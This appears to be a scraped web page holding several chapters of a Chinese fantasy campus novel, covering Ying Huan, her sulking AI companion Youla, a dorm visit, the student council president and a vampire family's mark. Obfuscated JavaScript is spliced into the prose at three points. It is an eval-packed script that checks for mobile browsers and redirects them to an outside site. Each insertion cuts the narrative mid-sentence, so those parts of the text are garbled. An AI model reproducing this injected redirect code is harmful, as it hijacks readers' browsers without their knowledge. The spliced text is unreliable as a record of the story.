一条腿还没迈出去,被岑之渊摁在原地,她听见一声隐忍的轻斥。 “别乱动,等着。” “滋──” 刹那间,一只电子眼落入嬴欢的怀抱里,可怜兮兮地望着她。 拍了拍手上沾染的雨水,岑之渊回到少女的面前,想看看她到底想搞什么花样。 “尤拉?别睡了,醒醒。” 嬴欢面前多了一段代码组成的字母,它们串成一句话: 「你最好先给我道歉,否则我是不会回应你的。」 「」 起因是尤拉在一小时前收到了课程提醒,好巧不巧正是被无数系统称为“人间炼狱”的系统培训班! 尤拉气不过,自己躲进数据海里企图让嬴欢哭着求它回来。 嬴欢缓缓吐出一口气,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊啊啊我没看错吧?岑神竟然带陌生人回来了?” “嘘,小声点儿!” 嬴欢不喜欢被人凝视的感觉,只能看着不远处的公寓楼,以此分散自己的注意力。 和沿街挂着灯笼的不夜居比起来,这里简直要现代化得多──至少外表如此。 在克里斯发布的官方地图上,这里被标记为9号区域。四栋大型公寓楼呈“田”字型建造,高低有度,顶端被设计成一道波浪纹弧线,完美融入了天际线。 中央坐落着一位女性的三维立体雕像,她手中举着一个火炬,由数据构成的火焰正在徐徐燃烧。 ──敬自由与星辰。 下方罗列一行花体字:萨默·罗德里格斯 岑之渊见她对雕像很好奇,补充道:“罗德里格斯女士是狄兰享有盛名的建筑设计师,这几座公寓是她学生时代的作品。嗯……如果幸运的话,你说不定可以在犬院看见她的身影,她是克里斯的终身荣誉教授。” 嬴欢从恍然中回过神来,默默记住这个优雅的名字。 短暂的学术氛围很快散去,嬴欢像刚出生的小鸟到处乱逛。 忽然,她昂起首。巨大的虚拟影像投射在楼体的表面,滚动播放着各种社团活动的广告。 「你是否渴望捕捉世间每一个绝美瞬间?摄影社将是你的不二之选……」 「新闻社团全员向您致以敬意!废话不多说,来到就是赚到……」 「舞动盛夏,燃烧青春!新一期的街舞社团招新活动开始啦……」 「踏入二次元的奇幻世界,动漫社等你加入!现在加入即可抽取白梦长廊绝版周边……」 【哇,这么炫酷!】尤拉扒在嬴欢的肩膀上,眼里冒着星星。 “嗯,那就把你留在这儿好了。”嬴欢若有其事地点点头。 尤拉本来还沉浸在这片热闹当中,听到这番话,立马抓紧她的肩头。 想得美! 50. 男寝 这是嬴欢第一次来别人的寝室,一时间变得有些拘谨起来,站在玄关处东瞅瞅西瞧瞧。 和自己寝室的复古风格不大相同,这里大多都是饱和度很低的颜色,若非得用个词语来概括第一印象,大概就是──现代简约风? 和寻常人眼中对男生寝室的刻板印象相反,这里窗明几净,连空气浸透着栀子香薰的味道。 空调很凉,岑之渊适当调高了客厅的温度。 “他怕热,喜欢保持更低的室温。不过不用管他,死不了。” 嬴欢在沙发旁规规矩矩地坐下,观察着墙上的几幅画作,它们唯一的共同点就是都灰不溜秋的,主打一个抽象。 岑之渊敲了敲对方的房门,里面隐隐传来医学讲座的声音。 片刻后,房门打开。 “在忙?” “没──哪里忙得过您呢?”男人靠在门框旁,无聊地按动手里的中性笔。 “说罢,大忙人有何贵干?不会又是带着什么小伤小病来找我了吧?我也很累的……” “不是我,是她。”岑之渊侧开身子,露出沙发上的人。 嬴欢从画里抬起眼皮,与男人遥遥对视,老实地笑了笑:“晚上好。” 三人之间静止了几秒。 少女用左手托着自己的右臂,看上去有些滑稽。 她几步走到了男人眼前,神色颇为认真:“有个很重要的事需要确认一下,我们两个是不是在哪里见过?” 白魇:“……”他觉得应该先治治她的脑子。 尤拉从少女背后冒了出来,头顶还坐着一只电子眼,眼睛紧盯着白魇不动。 【这不是那谁的朋友吗?】 尤拉这番话倒是提醒她了,嬴欢原地宕机了几秒,终于从记忆角落翻到了这人的名字。 “哦哦──白医生,真是巧啊。” 那天白魇身后还带了一群人,能让嬴欢记住他的面貌和姓名属实算他幸运。 不过奇怪的是,她怎么记得这小子说自己是管理局的人来着? 该不会是走后门吧!想到这里,嬴欢皱紧眉毛开始仔细打量起他来。 白魇没搭话,认命地回房间拿备用医疗箱。 与此同时,岑之渊从冰箱里拿来了两包冰袋和一块毛巾,扔进少女的怀里:“冷敷十五分钟。” 用毛巾裹住冰块放在淤青的地方,嬴欢被凉气激得拧了拧眉,她从口袋里拿出手机给邬蘅发了一条消息: 别担心我。 在此条信息上面已经是好几连串的质问,幸亏嬴欢提前打开了免打扰模式,不然早就要被狂轰滥炸了。 嬴欢并不是什么聊天欲望很强的人,等下方显示消息送达后,内心松了口气,关掉了聊天页面。 “……” 岑之渊坐在她对面的单人沙发上,脸上神色凝滞,像一条晒了三天的海带。 表面上风平浪静,实际内心早已乱成了一锅粥。 白魇和她是什么时候认识的?这简直超出了他的预想。 他很想知道关于她和白魇的事情,但是以什么立场来询问呢? 自己和嬴欢的关系已经尴尬到无法用一个词来形容了,当然,他也没想过改善或者缓和之类的,除非她先向他表达歉意,说不准他还会考虑考虑。 岑之渊咬着唇,把疑问憋回心底。 * 漫长十五分钟里,尤拉都在帮忙给嬴欢扶着冰袋。 【我的手好酸哦──】它直勾勾盯着岑之渊,期待这人能懂事一些,能看得出它的意思。 岑之渊正加紧复习今天的军事理论课程,他咬着笔头正沉思着,听到尤拉的声音后,冷冷地瞪了它一眼。 【他好没礼貌。】尤拉对着嬴欢的耳朵小声告状。 尤拉这身衣服和这座房子格格不入,豆沙色蕾丝花边裙、纯白长筒袜、短跟小红鞋,头上还围着一圈鲜艳夺目的花环。 嬴欢唯一正常的手臂被尤拉来回扯着,它的声线本来就更偏向男孩儿,夹起来的时候显得人不人鬼不鬼。 岑之渊睫毛轻轻颤了颤,他垂下眼睑,打心底发出一阵恶寒。 * 无数个哈欠过后,嬴欢看向手机屏幕顶端。 晚上十点五十九分。 课程的进度条刚走过三分之一,岑之渊在自由屏上写写画画,唇瓣被咬破后留下了几块深色的痕迹。 “没什么大碍,修养几周就可以正常训练了。”白魇将嬴欢的右臂重新固定好,缓缓道:“固定器需要一直佩戴,洗澡的时候可以摘下来,但一定要注意患处不要剧烈移动。” 嬴欢第一次听他一口气说了这么多话出来,点点头:“谢谢,我需要支付多少钱?” 白魇和岑之渊互相对视一眼,前者忍不住哼笑一声,“哎呀,嬴小姐。谈钱什么的多伤感情,就当是交个朋友喽。” 朋友? 真是个充满黑色幽默的词语。 嬴欢向来不愿与这种圆滑狡诈的人多做纠缠,奈何手头没钱,只好把这个人情暂且欠下。 她推了推沙发上熟睡的小人,“尤拉,该起床了。” 尤拉的口水淌了一地,丝毫没有一点客人的模样。 三人:…… 少女面无表情地咬着后槽牙,朝另外两个人道:“我可以把它留下来打扫卫生,前提是你们不嫌弃的话。” 谁也没吱声。 * 晨光透过窗帘,一缕光线照耀在地毯上。 尤拉揉了揉眼睛,口水干涸在嘴角,它从沙发间的缝隙坐起身。 初升的太阳实在太过耀眼,尤拉闭着眼睛缓冲了一会儿,迷迷糊糊地看向天花板。 这!是!哪!儿? 冰箱发出一声沉闷的响声,白魇穿着简约的家居服,在煎锅中打入两颗鸡蛋:“早。” 尤拉愤怒地瞪着眼前的人,一边整理自己压出褶皱的裙子。 【嬴欢呢?她人去哪儿了!】 “这不是很显而易见吗?不要你了呗。”白魇将油麦菜放进烧开的清水中,顺便给一旁的煎蛋翻了个面。 她,不,要,你,了。 如果站在这里的是个六七岁的孩童,恐怕会当场倒地大哭,但它不是。 尤拉想要回到数据海中,但被防火墙拦在了外面。 嬴欢不知道什么时候取消了它的权限。也就是说,除非那女人改变主意,否则它将一直保持这副人类拟态。 白魇顶着两只黑眼圈,花了十分钟的工夫做好早餐,将煎好的全麦吐司放在餐盘上,递给一旁哭唧唧的小孩儿。 “吃吧,说不定是最后一次热腾腾的早饭喽。” 一早起床来些地狱笑话是白魇长久以来的习惯,奈何他的室友很古板,根本抓不住其中笑点。 当然,也包括眼前的小孩儿。 尤拉瞪着红红的眼睛,像是要宰了他。 唉,无趣的人类。不对,是无趣的智能体。 白魇把酒杯里的龙舌兰一饮而尽,镜框下的双眼充满疲态。 “你也来点儿提提神?”他举起酒瓶示意。 尤拉:…… 最后,他得到了小屁孩儿的放声大哭。 卧室门打开,裹着浴袍的少年从门框里探出头来,他扫视着餐厅里的两人,尤其是眼泪哗啦哗啦往下掉的尤拉。 “请问,你是属公鸡的吗?” 小孩儿的哭声仍未停止,反而愈演愈烈,就差上房揭瓦了。 直到昨晚的监控录像给了它一个闷棍。 岑之渊将室内的监控系统录下来的东西递给它看。 如果能让它认清现实,那么他恶毒一些也没关系。 【不可能,我们并肩作战了这么久她都没嫌弃过我!】 视频中,嬴欢把睡晕过去的尤拉扔回沙发上,头也不回地离开了公寓,甚至都没忘拿走它头上休眠状态的电子眼。 “先走了,你们慢慢在这儿伤春悲秋吧……”白魇拍了拍尤拉的肩膀,将擦干净的眼镜戴在鼻梁上。 这家伙一贯行踪神秘,岑之渊脸上没什么多余的表情,二人的目光甚至都没有任何交汇。 今天是机甲院的训练日,岑之渊打开课程表看了眼任课教授──普洛斯。 很好,至少不是院长。他当机立断选择了翘课,开始慢条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459058|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯理地吃早餐,对眼前的一坨“人”视而不见。 大抵是哭累了,尤拉委屈巴巴地把脸蛋贴在桌面上,阳光恰好从窗外直射进来,它不由得晃了晃眼。 从模糊的光晕中,它看见座位对面的人优雅地喝着白粥,每个动作都像电影里的富家公子般。 它看得入迷,险些将口水流下来。 他看起来没什么胃口,吃得不多,用帕子擦了擦嘴角。 他不知道从哪儿拿出一个亮闪闪的东西,动作熟稔地戴在脖子上,还不忘用指尖触碰两下。 其实尤拉想把视线更多放在他干净标致的脸上,可是等它瞧清那亮闪闪的真面目时,目光有一瞬间的呆凝。 【你……】 它依旧保持贴着桌面的姿势,圆滚滚的眼睛瞪得老大。 男人正对着落地镜整理尾发,透过镜面看着它。对于不熟悉的人,他不想说哪怕一个字。 【你胸前是挂着一块……弹片吗?】它提着裙子走向男人,目不转睛地盯着那块只有指甲大的不规则物品。 把弹片做成项链,真是小众的爱好。 而让尤拉震惊的不仅仅是他的小众,最最最重要的是,它总觉得那弹片有点儿熟悉。 是专门定制的银灰色子弹。 它一定不会认错,因为那是001号的专属标志。 抓着裙摆的手指因为兴奋而扭曲着,它好像想起来了,它想起来在哪儿见过他了! * 那还是在嬴欢失忆之前,她曾以001的身份参加过一次星际级别的积分争夺赛,也正是这场比赛,被外界描写成001号的污点时刻,使她跌落“神坛”。 没人会忘却那疯狂好似泡影的一个星期,主办方传奇般地聚齐了天梯榜霸榜前十的大佬们,001号、犬羚、蜉蝣、白日梦…… 要知道,肃清者们都是来无影去无踪的,别说十个了,哪怕随便薅来一个就已经能让观众们精神高潮了。 也并不是那些大佬们有多耍大牌,而是为了保全自身不得不如此。 在反叛者最猖獗狂妄的时候,他们曾在二十四小时内犯下六十八起袭击案,受害者几乎都是肃清者的亲人与伴侣。 在那场血色袭击后,肃清者们往往不再公布自己的任何信息,甚者会刻意隐藏自己的真实容貌、抛弃原本的声音、改变自己的动作习惯等。 与难以露面的缉毒警察境况相似,稍有不慎就有可能让自己与家人陷入无形的危险中。 当时人们对这个新人王一无所知,不知道她的面貌,她的声音、甚至她的性别。曾有不少人专门深扒她的社交账号,但最后却依旧一无所获。 可就因为这层虚幻、神秘的色彩,媒体们开始对其大肆宣发、报道,甚至当成一个卖点用来叫座。 嬴欢对那些夸张的宣传毫不在意,任凭尤拉如何绘声绘色地在耳旁朗读那些无良媒体报道,她都无动于衷。 她是来赚积分的,又不是来演小丑马戏团的。 因为临近年末,又是积分榜刷新前最后一次获取积分的赛事,所以她拿出了很认真的态度来对待这场比赛。 那场赛事的规模空前盛大,保守估计资方投入超过了上千亿,全星际实时观赛峰值人数达到四十五亿人。 光是001号的视角就有十亿人同时观看,他们都是奔着一睹真容去的。但第一人称视角根本看不出什么来,更别说嬴欢还提前做了拟容,外面又套上一层覆面,双重保险。 【原来你就是那个被001误伤的家伙啊?】尤拉刻意加重了语气,嘲讽意味直接拉满。 “……”岑之渊嘴里咬着一根崭新的皮筋,不紧不慢地抓起渐长的尾发。 是不是该修剪一下了?他淡漠地想。 它捂着拳头咳嗽一声,要多刻薄就有多刻薄。 【当年谁看了不得说你一句好福气,竟然能被大名鼎鼎的001抱进怀里……哎呀呀,真是让人嫉妒。】 说话间,岑之渊已经将头发扎成方便的短马尾,他其实听得字字清楚,只是不愿回答罢了。 他不想再去回忆两年前的事情。 尤其是──关于那个人。 51. 学生会 学校餐厅内。 室内放着轻柔的白噪音,嬴欢和两兄妹坐在大理石圆桌旁,食物的香气渐渐传入鼻腔,而她却只觉得单纯的烦躁,甚至有些坐立难安。 两兄妹的早餐点了虾仁芝士浓汤和酥皮火腿卷。 餐刀、餐叉、餐勺一应俱全,他们似乎已经习惯了这种一丝不苟的生活,只有嬴欢像个另类一样抱着从小摊买来的煎饼果子生啃,嘴巴塞得满满的,恨不得把整个脑袋都埋进饼里。 餐刀切割盘子,发出刺耳声音。 “你昨晚到底去哪里了?” 邬蘅适时地用手帕擦去她唇边的残渣,力度逐渐加重。 仿佛远远不解恨似的,她甚至用手中的餐刀开始认真比量起少女的脸颊来,那模样就像在审视一道菜肴的品相。 这举动一点儿都不符合他们的教养,可见两人真要把她生吞活剥了才满意。 少女把最后一口煎饼塞进嘴巴里,拿起豆浆猛灌,强忍着打嗝的欲望,生怕这两人下一秒就要把她撕成碎片。 气氛压抑得让人毛骨悚然,她在两人间扫了扫,尽量语气温和地提出:“我觉得……这属于我的隐私,对吧?” “他勾引你了?”邬蘅面不改色地说,仿佛是在阐述某种既定事实。 嬴欢伸手叫停,面色认真道:“你们太紧张了,我只是去某个同学那里固定了一下肩伤。” 邬涟与妹妹对视了一眼,像是更加确定了什么,前者放下餐刀,双手交叉着向嬴欢询问道:“你在那男人的寝室留宿了?” 嬴欢:“……” 虽然不是合适的时机,但嬴欢真的很想现场质问这兄妹俩,她到底哪个字提到了“男人”,明明她已经尽量在挑选中性词使用了。 少女一脸死气沉沉地靠在沙发上,身心俱疲。 她不是没考虑过回寝室,可是如果回去恰好碰见那两个室友该怎么办? 硬刚?逃跑?求饶? 为了避免麻烦的局面,嬴欢跑去自助图书馆待了一夜,整个克里斯只有那里是24小时开放,而且还有空调和免费的热饮。 何况她这一整晚也没闲着,向校长办公室发送了近达一千字的更换寝室申请书。理由是影响了自己的身心健康,附件是一张校园论坛的截图,里面完整记录了嬴欢坠楼的经过。 现在人人都知道不夜居有个看淡生死的女人。 “你那位血族室友的资料都在这儿了,恭喜你啊,又惹上一个难缠的家伙。” 邬涟甩出一沓纸质资料,端起红茶轻抿一口。 嬴欢盯着那双足矣媲美海螺珠的眼睛。 有那么一瞬间,她对这个世界产生了厌恶感,就像对以往的许多世界那样。 她不想拿起那个文件袋。 她也不想再掺和进任何棘手的事情了。 她只想平平淡淡地活着,每天吃饭睡觉,就这样日复一日地活到生命尽头。 可为什么就如此艰难呢? 难道她生来就应该背负这些吗? * 进入餐厅的学生渐渐多了起来,成群结队,气氛快活。 嬴欢本来都准备抬脚跑路了,却被一个突然冒出来的金发女人摁回了餐桌上。 “嗨!你们好,我是新闻社的黛西!” 她动作迅速地将名片放在三个人的面前,最后单独给嬴欢抛去一个媚眼,红唇开心地上扬着。 不知道的还以为误入了推销现场。 “这位小姐,这一层已经被我们包场了,请你离开。”金发小妞的举动被邬蘅尽收眼底,咬着纸质吸管,语气中带着些许不耐烦。 这种想要攀关系的人他们遇见得太多了,如果不早点儿甩掉,可就难以脱身了。 出于礼貌,嬴欢把名片拿起来仔细端详,上面写着:黛西·李。 黛西看见少女颇感兴趣拿起自己的名片,马不停蹄地掏出百万粉丝的星际网账号,将主页展示给对方看。 “社团有规定不能随便关注普通人,你懂的,要保持中立立场。不过嘛,我也写了不少你的稿子,我真是太喜欢你了,可以互关一下吗!?” 手臂被她紧紧握住,嬴欢一瞬间身体紧绷起来,庆幸这人没挑中另一边受伤的手臂。 “保安──”邬涟抬手,两个黑西装壮汉立马出现在他的身侧。 邬蘅扯过嬴欢手里的卡片扔进餐盘中,脸色不变地看向黛西,“实在抱歉,我们不感兴趣。” 黛西瞪着无辜的大眼睛,嘴唇蠕动了几下,两个黑衣人像座大山似的挡在她的面前,声音充满压迫感。 “这位小姐,您想自己离开还是我来帮您?” “嘿,我可是新闻社的优秀社员!你们不能这样对我!” 黑衣人巍然不动,看了看手表,“您还有十五秒钟思考的时间。” 黛西攥紧了自己的帆布挎包,她的心中有一片大火在燃烧。在黑衣人与嬴欢之间看了看,她毫不犹豫地选择了后者。 “嬴欢同学,我希望能和你进行一次私人访谈,如果你对此感兴趣的话,请一定要发通讯给我!”她扒着桌子,在和两个黑衣人拉扯的间隙,朝着嬴欢大声喊道。 偌大的餐厅骤然变得安静下来。 嬴欢盯着餐盘中的名片不语,扶了扶额头,面色苍白。 “姐姐,你还好吗?”邬蘅攥着手中的茶杯,指节泛白。 嬴欢晃了晃神,站起身:“……我吃饱了。我还有事要处理,回见。” 她离开得飞快,既没拿走文件袋,也没拿走名片。 * 嬴欢跟随着校内导航来到了一栋大楼前,抬头观望,确保自己没有走错地方。 这是一座典型的教堂式建筑。 浅金色穹顶、色彩瑰丽的彩绘花窗、数量繁多的尖塔……狄兰城的建筑用地很紧张,可尽管如此,这里却有着大片的优质草地。 这大概是学校内部绿化面积最大的区域了,没有之一。 在克里斯,这里被人们称为“圣地”,原因是它坐落在有着数百年历史的遗址上。在某部广为流传的经书中,人们将其视作“神降临的地方”。 在经历数次的修葺与翻新后,这片小型建筑群成为了校长办公室以及学生会总部的所在地。 人流进进出出。 他们胸前都佩戴着学生会专属徽章。三两成群,神色严肃。 而嬴欢一身随意的短袖短裤在其中就显得尤为怪异,她只好硬着头皮向大门走去。 不知道为什么,总有一种玷污了纯洁之地的感觉。 大厅中央是一座显眼的水晶灯,镜面折射出一道道璀璨的亮光,几乎占据了嬴欢的大半个视野。 旋转式楼梯蜿蜒向上,厚重的羊毛地毯铺在上方,显得格外有年代感。 “早上好,小姐。”一个穿着清洁服装的打扫人员朝她挥了挥手,她手持吸尘器,关掉了按钮。 “早。”嬴欢勉强地笑了笑。 “学生会各部门在二层,校长办公室在三层,一层右侧是教务处,左侧是社团活动室以及会议室。”她继续保持微笑道。 嬴欢道了声谢,转身走上扶梯。 “……” 不知道是不是空调的问题,嬴欢总觉得背后阴恻恻的,她总有种莫名的错觉,好像这里的气氛并不像表面上这么风平浪静。 意识到这一点后,连带着打扫人员的那抹微笑都变得有点儿诡异起来。 嬴欢缓缓回头,刚才站着的人已经消失得无影无踪。 默默攥紧扶手。 “……”一声响指在耳边炸开。 心头一跳,左拳反射性地挥了出去。 一只冰凉的手心将她的拳头抵了下来,皮肤相触,发出了骨骼与肌肉碰撞的声音。 等看清来人后,脑袋里那根紧绷的弦终于放松下去,她按了按心脏的位置,呼出一口气。 “站在楼梯上沉思可不是什么好习惯。”梅瑟的声线淡淡的,像初春季节即将融化的雪渍。 * 嬴欢跟随青年来到了他的办公室。 露水的气息伴随着松树的清香,这里采光很好,从窗户向外看去,能够望见大片大片的植被和颜色纯净的洋桔梗。 “你的办公室很漂亮。”比她的卧室至少大上三倍。 独立休息室、环形沙发、咖啡研磨机,甚至还有小型的室内造景。 如果把中央的捕蝇草换成胡椒木就更好了。 梅瑟静静看着少女在自己办公室里做“考察”,时不时抿一口杯中的黑咖啡。 好吧,嬴欢知道自己挺讨人嫌的,直接表明来意道:“昨晚我向校长室递交了更换寝室的申请书。” 这种申请书需要学生会、校长办公室、教导处三方的签字。听说学校上层的办公效率不高,不然嬴欢也不会大老远跑来一趟。 梅瑟靠在办公桌前,打开工作终端,在最顶部发现一封来自凌晨的邮件。 “我收到了。” 他仔细阅读着嬴欢熬夜写出来的987个字,读到最后轻轻点了点头:“嗯,血族……确实很危险呢。” 不仅危险,而且麻烦。 嬴欢正等他痛快地签完字后准备离开呢,忽然听到一声轻柔的关怀:“伤还好吗?” 果不其然,会长大人的消息比她想象得还要灵通。当然,也不排除是那些散布在学校里的电子眼起到了关键作用。 “还不错。正在恢复。”说着,嬴欢下意识碰了碰自己的右臂。 就在24小时之前她还是个身心健全的孩子。 “如果你想追究他的责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原来是这样么,我还以为那些电子眼只是单纯为了满足你的窥伺欲。” 她看见梅瑟的脸色凝结了一瞬。 “为了克里斯的安全,我别无他选。希望你可以理解。” 只不过嬴欢并没有给面子,而是冷冷看着他,“别兜圈子了。说吧,你想开口求我什么?” 青年的眼睛微微张大,像是惊讶她会采用这么直白的言语,他略微拧着眉:“好,那我便直说了。我希望你可以留意一切值得留意的异常,仅此而已。” 自从霍尔事件之后,他很难再去信任那位喜好“观测”的院长。 他急需寻找一个立场鲜明,足够强大且令人信任的眼线。 符合条件的人或许有很多,但选择她的原因,有一部分是他想要借此摸清她的立场,有一部分是来自私心。 嬴欢冷笑一声。 他在把她当什么?方便、好用的工具?还是乐于助人、爱管闲事的老好人? 他或许是在赌她不会对人类见死不救,赌她有相对较高的道德感,但──事实证明,不要对一个精神值低下的疯子抱有太高的期待,因为结果往往会出乎你的预料。 “呃──” 青年被抵在墙上,深棕色的墙面将他的脸庞衬托得越发妖冶。 “想要利用我?雪莱先生,你的胃口可真不小。” 镜片下的眼瞳暗藏杀机,半晌,他轻轻笑了笑,“‘利用’这个词太过刺耳,倒不如说是‘合作’。” 嬴欢眸中划过一丝兴味,“好啊──那你先说说你身上有什么可取之处?” 哪怕处于被动的情况下,会长大人仍然保持着应有的沉稳──至少表面上如此。 西装裤被压出褶皱,漂亮的指骨紧紧抓住书架上的某个支撑点,他的目光微微飘移。 若是换成旁人,恐怕早就忍不住直接上手了,可嬴欢却认真等着他报出自己的筹码。 说到底,她也很好奇他的底牌究竟有多诱人,值不值得她浪费时间。 “作为交换,我会尽我所能满足你的合理要求。” 嬴欢转了转眼珠,与他隔开一段距离,她甚至能察觉到眼前的人明显放松了许多。 会长的职权确实相当具有诱惑力。 “成交。”少女答应得很轻松,“那么,合作愉快。” 她用唯一能够移动的手迅速握了握他的指尖。 梅瑟显得很平静,他本来以为她不会那么容易松口,但实际上倒是进展得很快。 “我先走了,申请书的事情麻烦你了。”嬴欢把烂摊子随手扔给了他,头也不回地挥了挥手。 梅瑟回到办公桌前,从一众入学简历中翻找到了某个人,目光扫过上面的文字。 在即将关上门的一瞬间,嬴欢听到来自门内接近耳语的声音: “爱德华兹?真是有趣的棋子。” 是在说……那个人吗? 一阵刺痛忽然传来,嬴欢不禁眉头紧锁,开始寻找自己身上的异常之处。 最终,她掀起了右臂的布料,布料下方的黑色印记正在灼灼发烫。 见鬼。 52. 刻印 一层大厅。 嬴欢站在楼梯角落,开始在网络上检索有关于“血族”、“爱德华兹”的相关词条。 点击“搜索”,弹出来一系列无用的广告,食指不断往下滑动,总算在广告的间隙里看见了一些有效信息。 ——爱德华兹,世间唯一仅存的血族支脉,已有近百年未曾出入人间,目前的家主是已有三百岁高龄的伊琳娜·爱德华兹,其膝下育有十二个子女,子孙后代接近百人。 据《上古家族遗闻》写道,爱德华兹家族的男婴出生便背负诅咒,终生不得见以日光,否则将经受皮肉燃烧之苦,折损阳寿。 血族出生时便是一小团接近透明的雾气,雾体会随着年岁的增长而扩大,颜色从浅至深。 一些研究人员将“黑雾”认定为血族的原初形态,黑雾的浓度代表他们的能力强弱,另外,他们还可以随意调节雾体的颜色。 “血族生来脆弱,每隔一段时间就会出现极度渴望血液的状况。”她无声默读着。 “……在发育时期,他们会给自己心仪的‘猎物’打上印记,这种印记将贯穿‘猎物’的终生,直至死去。” 一种惊悚感缠结于文字的表面上,嬴欢感觉自己就像被放置在了真空环境中,从鼻腔到肺部都干涩无比,她想干呕,可身体宛如钉在原地,无法动弹。 肩膀被猛然一拍,“嘿!是你!” 嬴欢像是被解了咒般,恍然回神。 一个脖子上挂着相机的女孩儿跑到她的面前,眼露兴奋的光芒。 “黛……西?” 声音嘶哑得有些可怕,嬴欢怔了怔神,一只手放在胸口,将萦绕在心底的恐惧强行驱散开来。 “啊!你还记得我的名字?真不敢相信!”她并没有发现少女的异常。 嬴欢看了眼时间,迟疑道:“也才一个小时而已。”她虽然记性差,但也没有差到那种地步。 “你是一个人吗?” 黛西看了一圈周围,确认那两只凶猛“看门犬”不在这里,稍稍松了口气。 “你来这里是?哦,对……你是新闻社的。”这里可是社团大本营,嬴欢才想起来这回事,暗道不好。 “你现在有时间吗?我们可以喝杯咖啡谈一谈吗!”黛西的双眼闪闪发亮。 拜托,没人能拒绝那双琥珀般的眼睛。 她一向不擅长拒绝女孩子:“这,好吧……” 长长的走廊犹如望不到尽头的奈何桥。 在此期间,黛西至少和十个以上的学生进行了友好的寒暄。 嬴欢无聊地在瓷砖地板里跳格子,跳着跳着,她发现自己应该有点儿强迫症在身上,必须得把脚印踩在地板正中央,否则皮肤上就好像有蚂蚁蠕动似的。 “来来,我们边喝边聊。” 她们路过一家私人咖啡店,店面很小,为了迎合整座建筑的风格,店家特意把全自动点单台换成了百搭的小黑板。 “她家的咖啡很受欢迎,你应该好好尝尝。”说罢,黛西朝着店长挥挥手。 一个转头,嬴欢顿时僵硬在了原地。 说起来你可能不敢相信,那位店长的头顶竟然长着两只绿角! “喝些什么?”这位长着兽角的年轻女性淡淡地看着二人,顺便撩了撩波浪卷发。 “中午好,墨菲小姐。我嘛依旧老样子,你还是仔细问问她吧!”黛西用大拇指示意自己身边的嬴欢。 墨菲擦拭着咖啡杯,目光落在新人身上,“你喜欢它们?”她点了点自己的角。 嬴欢缓缓摇了摇头,又点头,斟酌语言道:“呃──我,我第一次见。如果冒犯到了你……” 两道浓绿色的眉毛微微上扬,墨菲露出一抹让人难以拒绝的笑容,她一把将少女拽到身前,把那只带着薄茧的手放在了自己的一只角上。 热、热的?意识到这一点的嬴欢双颊怦红,指尖止不住地颤抖,下意识想要收回手来。 而女人的力道却不容置疑,嘴角还带着调戏完小孩儿后的坏笑,和刚开始的那副冷淡模样大相径庭。 黛西忍不住发出了憋笑失败后的气音,“噗……唉,新人!” 而少女还在直勾勾的盯着那对深绿色、充满诱惑与危险的兽角,丢了魂似的一动不动。 墨菲朝着看戏的女孩儿抛了个眼神,“看见了没有,小黛西。这就是兽族的魅力。” 黛西没说话,反而是挑了挑金色的眉毛,“咔嚓”一下,用相机将此景记录下来。 * 嬴欢抱着自己的甜酒咖啡久久未能回神,直到闪光灯一次又一次地刺激着她的视神经,眉尖反射性拧在一起。 “不好意思哦,忘记关灯了!”镜头后的黛西扬着微笑。 不是故意的才怪。 “墨菲有四分之一的羚科动物血统,把兽角露出来只是为了彰显个性。” 黛西言外之意是,墨菲本来是可以像正常人类一样在社会中生存,但偏偏要反其道而行之,将兽族特征暴露出来。 嬴欢似懂非懂地点头,就说之前怎么没见过异族,原来大部分都隐藏了自己的异族特征,只展现人类那一部分面貌。 当然,这也在一定程度上说明了墨菲本身为自己的血统感到骄傲。在这个凡是异类便会被投以异样眼光的星球中,绝对是一次大胆而有风险的尝试。 嬴欢端起咖啡,好奇地抿了一口。 不得不说,墨菲的手艺确实很老练,甜酒、淡奶油和咖啡这三者搭配得相得益彰,口感香浓醇厚,带着丝丝甜醺的果香。 只是刚半杯下去,嬴欢开始感觉自己的脸有些发烫,就好像整个咖啡厅里塞满了取暖器,而她却穿着一百件羽绒服。 黛西悄悄凑近,轻声道:“其实绝大部分异族都很反感他人的凝视。” “不过墨菲除外,她算是比较友善的一个,她也很喜欢别人谈起她的两只角。然而大多数情况下,千万不要在其他异族面前盯着人家的异族特征看哦!”是真会出人命的。 “听起来你很了解异族?难不成你也……” 面对少女怀疑的目光,黛西双手举起,瞠目结舌道:“老天在上,我真的是个纯正的人类废物哇!” “不过是采访过一个刻薄的人鱼族后裔罢了。”她随即泄了气似的嘟囔道。 那次黛西的采访并不顺利,被那只人鱼全程瞪着不说,还在言语上被他狠狠羞辱了一番,说是人生噩梦也不为过。 嬴欢摩挲自己的下巴,眼睛胡乱眨着,小声问道:“那个,你……了解血族吗?” 黛西缓缓放下手,用勺子搅动着杯内的热巧克力,神色变得有点儿古怪。 “你说的不会是──爱德华兹家族吧?”她迟疑地问道。 来了!陌生的名词! 嬴欢猛地点点头,接着问下去:“没错,你对他们了解多少?” 黛西看着嬴欢期待的眼神,欲言又止,甚至连身体都不禁向后仰去。 “我、我只能说……这家族里的吸血鬼可没一个好惹的。”她只能提醒到这里了。 嬴欢看得出来她并不想惹上麻烦,于是放弃了继续追问。 “你看着可一点儿都不像普通学生。”倒像个情报贩子。 黛西的眼角笑成了一道弯儿,她歪了歪头,玫粉色的眼影在阳光下闪闪发光:“我就当你是在夸奖我咯!” 